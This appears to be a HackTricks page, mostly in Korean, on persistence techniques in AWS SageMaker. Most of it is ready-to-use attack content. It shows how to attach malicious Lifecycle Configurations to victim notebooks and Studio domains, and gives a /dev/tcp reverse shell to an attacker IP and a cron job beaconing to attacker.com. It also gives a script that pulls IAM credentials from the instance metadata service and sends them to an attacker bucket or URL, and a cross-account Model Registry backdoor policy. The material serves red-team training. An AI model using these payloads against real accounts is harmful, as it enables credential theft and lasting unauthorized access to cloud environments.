AWS - SageMaker Persistence

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

영구화 기법 개요

이 섹션에서는 Lifecycle Configurations (LCCs)을 악용해 SageMaker에서 persistence를 확보하는 방법들을 설명합니다. 예로는 reverse shells, cron jobs, IMDS를 통한 자격증명 탈취, SSH backdoors 등이 있습니다. 이러한 스크립트는 인스턴스의 IAM role로 실행되며 재시작 후에도 지속될 수 있습니다. 대부분의 기법은 아웃바운드 네트워크 접근을 필요로 하지만, 환경이 'VPC-only" 모드인 경우에도 AWS control plane의 서비스를 이용하면 성공할 수 있습니다.

tip

참고: SageMaker notebook instances는 본질적으로 머신러닝 워크로드를 위해 특수 구성된 관리형 EC2 인스턴스입니다.

필요 권한

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Studio 애플리케이션:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

노트북 인스턴스에서 Lifecycle Configuration 설정

예제 AWS CLI 명령:

bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

SageMaker Studio에서 Lifecycle Configuration 설정

Lifecycle Configurations은 SageMaker Studio 내의 다양한 레벨 및 서로 다른 앱 유형에 첨부할 수 있습니다.

Studio 도메인 레벨 (모든 사용자)

bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space 레벨 (개인 또는 공유 공간)

bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio 애플리케이션 라이프사이클 구성 유형

라이프사이클 구성은 특정 SageMaker Studio 애플리케이션 유형에 개별적으로 적용될 수 있습니다:

  • JupyterServer: Jupyter server 시작 시 스크립트를 실행합니다. reverse shells 및 cron jobs 같은 영속성 메커니즘에 적합합니다.
  • KernelGateway: kernel gateway 앱 시작 시 실행되어 초기 설정이나 지속적 접근에 유용합니다.
  • CodeEditor: Code Editor (Code-OSS)에 적용되며, 코드 편집 세션 시작 시 실행되는 스크립트를 가능하게 합니다.

각 유형별 예시 명령:

JupyterServer

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

코드 에디터

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

중요 정보:

  • 도메인 또는 스페이스 수준에서 LCCs를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다.
  • 더 높은 권한이 필요합니다 (sagemaker:UpdateDomain, sagemaker:UpdateSpace). 일반적으로 도메인 수준보다 스페이스 수준에서 구현하기 더 용이합니다.
  • 네트워크 수준의 제어(예: strict egress filtering)는 성공적인 reverse shells 또는 data exfiltration을 방지할 수 있습니다.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs)는 notebook 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한을 가진 공격자는 지속적인 reverse shell을 설정할 수 있습니다.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence via Lifecycle Configuration

공격자는 LCC scripts를 통해 cron jobs를 주입하여 악성 scripts 또는 commands가 주기적으로 실행되도록 하여 은밀한 persistence를 유지할 수 있습니다.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle configurations는 Instance Metadata Service (IMDS)에 쿼리하여 IAM credentials를 검색하고 공격자가 제어하는 위치로 exfiltrate할 수 있습니다.

Payload Example:

bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Model Registry 리소스 정책을 통한 지속성 (PutModelPackageGroupPolicy)

SageMaker Model Package Group의 리소스 기반 정책을 악용해 외부 principal에게 cross-account 권한(예: CreateModelPackage/Describe/List)을 부여합니다. 이렇게 하면 피해자 계정에서 공격자의 IAM user/role이 제거되어도 poisoned model versions를 푸시하거나 model metadata/artifacts를 읽을 수 있는 지속적인 백도어가 생성됩니다.

필수 권한

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

단계 (us-east-1)

bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

참고

  • 실제 cross-account 백도어의 경우, Resource를 특정 그룹 ARN으로 제한하고 Principal에 공격자의 AWS 계정 ID를 사용하세요.
  • 종단 간 cross-account 배포 또는 아티팩트 읽기의 경우, S3/ECR/KMS 권한을 공격자 계정에 맞춰 정렬하세요.

영향

  • Model Registry 그룹에 대한 지속적인 계정 간 제어: 공격자는 피해자 계정에서 자신의 IAM 엔티티가 제거된 이후에도 악성 모델 버전을 게시하거나 모델 메타데이터를 열거/읽을 수 있습니다.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

SageMaker Canvas 사용자 설정을 악용해 ModelRegisterSettings를 활성화하고 CrossAccountModelRegisterRoleArn을 다른 계정의 공격자 역할로 지정함으로써 모델 레지스트리 쓰기를 공격자 제어 계정으로 조용히 리디렉션합니다.

필요 권한

  • 대상 UserProfile에 대한 sagemaker:UpdateUserProfile
  • 선택: 자신이 제어하는 Domain에 대한 sagemaker:CreateUserProfile

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기